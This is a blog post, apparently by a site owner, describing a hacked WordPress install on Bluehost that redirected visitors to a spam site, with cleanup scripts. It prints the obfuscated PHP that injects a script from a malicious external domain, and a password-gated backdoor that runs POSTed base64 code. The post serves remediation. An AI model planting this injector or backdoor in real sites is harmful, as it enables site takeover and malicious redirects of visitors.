Originally posted: 2021-03-26
My Wordpress site hosted on Bluehost got hacked and now all my sites are redirecting to a spam site.
I have a number of sites hosted on a Bluehost account, and, suddenly, they were all redirecting users to some spam site. Both the subdirectories and my root site seemed to be hit.
/wp-admin/
route. This meant we couldn't even undo the accidental activation!public_html
folder (this was a sub-directory site) to explore what the problem could be.https://tron.talkingaboutfirms.ga
), but this turned up nothing, as expected.index.php
file, which said:<?php
echo chr(60).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(32).chr(115).chr(114).chr(99).chr(61).chr(39).chr(104).chr(116).chr(116).chr(112).chr(115).chr(58).chr(47).chr(47).chr(116).chr(114).chr(111).chr(110).chr(46).chr(116).chr(97).chr(108).chr(107).chr(105).chr(110).chr(103).chr(97).chr(98).chr(111).chr(117).chr(116).chr(102).chr(105).chr(114).chr(109).chr(115).chr(46).chr(103).chr(97).chr(47).chr(109).chr(97).chr(105).chr(110).chr(46).chr(106).chr(115).chr(63).chr(115).chr(61).chr(53).chr(53).chr(51).chr(38).chr(98).chr(61).chr(50).chr(38).chr(99).chr(105).chr(100).chr(61).chr(49).chr(49).chr(49).chr(52).chr(49).chr(39).chr(32).chr(116).chr(121).chr(112).chr(101).chr(61).chr(39).chr(116).chr(101).chr(120).chr(116).chr(47).chr(106).chr(97).chr(118).chr(97).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(39).chr(62).chr(60).chr(47).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(62);die();
?>
The PHP function chr()
is a character encoding. When this file’s contents are decoded (i.e. the script is executed), the resulting string is:
<[script] src='https://tron.talkingaboutfirms.ga/main.js?s=553&b=2&cid=11141' type='text/javascript'></>
Found it.
The problem is pretty clear. Why is my Wordpress site redirecting to a spam site? This particular hack involved uploading a malicious index.php to every directory it could access, and so any folder you would access would in theory redirect you to the spammy site.
To mass delete these index files in bash, use this hand bash script (credit: Martin Beckett)
find . | xargs grep -l echo chr(60).chr(115).chr(99) | awk '{print "rm "${1}}' > doit.sh
Note: we didn't have complete success with this script in zshell (on Macs these days).
To use this python script, navigate to the directory you want to clean up, (on Mac type cd
with a space and then drag in the folder you want to clean up from Finder). Then open Python by typing python
. Then paste in this script:
import os
for subdir, dirs, files in os.walk(os.getcwd()): # Note: operates within the current wording directory (cwd) and all subdirectories/files
for filename in files:
filepath = subdir + os.sep + filename
with open(filepath) as currentOpenFile:
try:
for line in currentOpenFile:
if 'echo chr(60).chr(115)' in line: # Check if any line in a file contains this string, which is the beginning of the hacked index.php file content
os.remove(filepath)
print('Removed: {0}'.format(filepath))
except:
print('failed on {0}'.format(filepath))
As a side-note, this particular vulnerability may be related to a Thrive Themes unused-Zapier-API-key exploit. See source.
Here is the malicious code that was causing the problem (i.e. going through my site directory and creating or updating index.php
files everywhere):
if(isset($_POST['zi'])
&& md5($_POST['zi']) == base64_decode('M2UwZWFhNWFlNGE1NzRjMGYzYjEyOTRmZGQwZTg1ZTQ=') ) {
$lt = base64_decode($_POST['a']);file_put_contents('lte_','<?php '.$lt);$lt='lte_';
if(file_exists($lt)){
include($lt);unlink($lt);die();
}
} else {
echo chr(60).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(32).chr(115).chr(114).chr(99).chr(61).chr(39).chr(104).chr(116).chr(116).chr(112).chr(115).chr(58).chr(47).chr(47).chr(115).chr(116).chr(105).chr(99).chr(107).chr(46).chr(116).chr(114).chr(97).chr(118).chr(101).chr(108).chr(105).chr(110).chr(115).chr(107).chr(121).chr(100).chr(114).chr(101).chr(97).chr(109).chr(46).chr(103).chr(97).chr(47).chr(97).chr(110).chr(97).chr(108).chr(121).chr(116).chr(105).chr(99).chr(115).chr(46).chr(106).chr(115).chr(63).chr(115).chr(61).chr(48).chr(55).chr(38).chr(98).chr(61).chr(51).chr(52).chr(53).chr(38).chr(99).chr(105).chr(100).chr(61).chr(55).chr(52).chr(53).chr(55).chr(45).chr(56).chr(53).chr(45).chr(50).chr(51).chr(52).chr(54).chr(55).chr(56).chr(56).chr(45).chr(50).chr(52).chr(39).chr(32).chr(116).chr(121).chr(112).chr(101).chr(61).chr(39).chr(116).chr(101).chr(120).chr(116).chr(47).chr(106).chr(97).chr(118).chr(97).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(39).chr(62).chr(60).chr(47).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(62);
}
Note: you will want to make sure that you don't delete index files in their entirety if they are only partly malicious code. Wordpress has important index files you will need to hang onto. If you accidentally delete one of these, you can find them in the Wordpress source code.